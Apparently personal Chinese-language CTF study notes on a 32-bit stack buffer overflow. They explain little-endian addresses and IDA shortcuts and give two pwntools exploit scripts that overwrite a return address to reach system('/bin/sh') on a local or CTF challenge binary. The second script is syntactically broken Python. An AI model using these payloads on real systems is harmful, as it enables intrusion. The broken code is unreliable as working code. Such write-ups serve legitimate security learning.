pwn
ebp是函数调用栈的尾指针,大小为4个字节
但是需要注意的是,由于在计算机内存中,每个值都是按照字节存储的。一般情况下都是采用小端存储,即 0x0804843B 在内存中的形式是
\x3b\x84\x04\x08
但是,我们又不能直接在终端将这些字符给输入进去,在终端输入的时候 \,x 等也算一个单独的字符。。所以我们需要想办法将 \x3b 作为一个字符输入进去。那么此时我们就需要使用一波 pwntools 了
##coding=utf8 from pwn import * ## 构造与程序交互的对象 sh = process('./stack_example') success_addr = 0x0804843b ## 构造payload payload = 'a' * 0x14 + 'bbbb' + p32(success_addr) print p32(success_addr) ## 向程序发送字符串 sh.sendline(payload) ## 将代码交互转换为手工交互 sh.interactive()
一般来说,我们会有如下的覆盖需求
- 覆盖函数返回地址,这时候就是直接看 EBP 即可。
- 覆盖栈上某个变量的内容,这时候就需要更加精细的计算了。
- 覆盖 bss 段某个变量的内容。
- 根据现实执行情况,覆盖特定的变量或地址的内容。
之所以我们想要覆盖某个地址,是因为我们想通过覆盖地址的方法来直接或者间接地控制程序执行流程。
ida快捷键
shift+f12 搜字符串
f5 反汇编
在IDA-View-A窗口看见汇编语言,可以按F5进行反汇编,开启pseudocode-B窗口输出伪代码
看见了stack()函数调用了system("/bin/sh"),于是我们可以通过栈溢出跳转至这里并执行。
既然要跳转至stack(),我们相对应的也要知道其首地址,拉大FunctionWindows后可以看见
from pwn import * //引入pwn包所有函数 content = 1 def main(): if content = 0 p = process("./stack")//这是连接本地文件,其实在这里没什么用不写也可以因为根本就不会执行 else: p = remote("pwn.challenge.ctf.show",28040)//建立一个远程连接需要相应URL/IP和port当然这就是在前面创建的容器(服务器)信息,将remote对象保存至变量p中 payload = b'a'*13//数据打包,由于前文提到的在s处填入9+4个字节 payload += p32(0x804850F)//同上,p32()将整数值转为32位打包 p.send(payload)//调用对象p的方法,send()将shellcode送至服务器端 p.interactive()//将控制权交给用户可使用打开的shell main()
这个题要想从本质上去理清楚,还是得看懂下图右侧的代码,了解常用的函数作用,并且根据代码画出栈的整个变换过程,每个函数都有一个自己的栈,main函数的栈进行变化后最终会被还原的,也算是对栈的一个保护。
真的不太好理解,栈底在高地址,栈顶在低地址,入栈的时候是从下往上压入,但是对于已经存在的东西比如这道题的数组s,又是从上往下存,或者说是改变它的值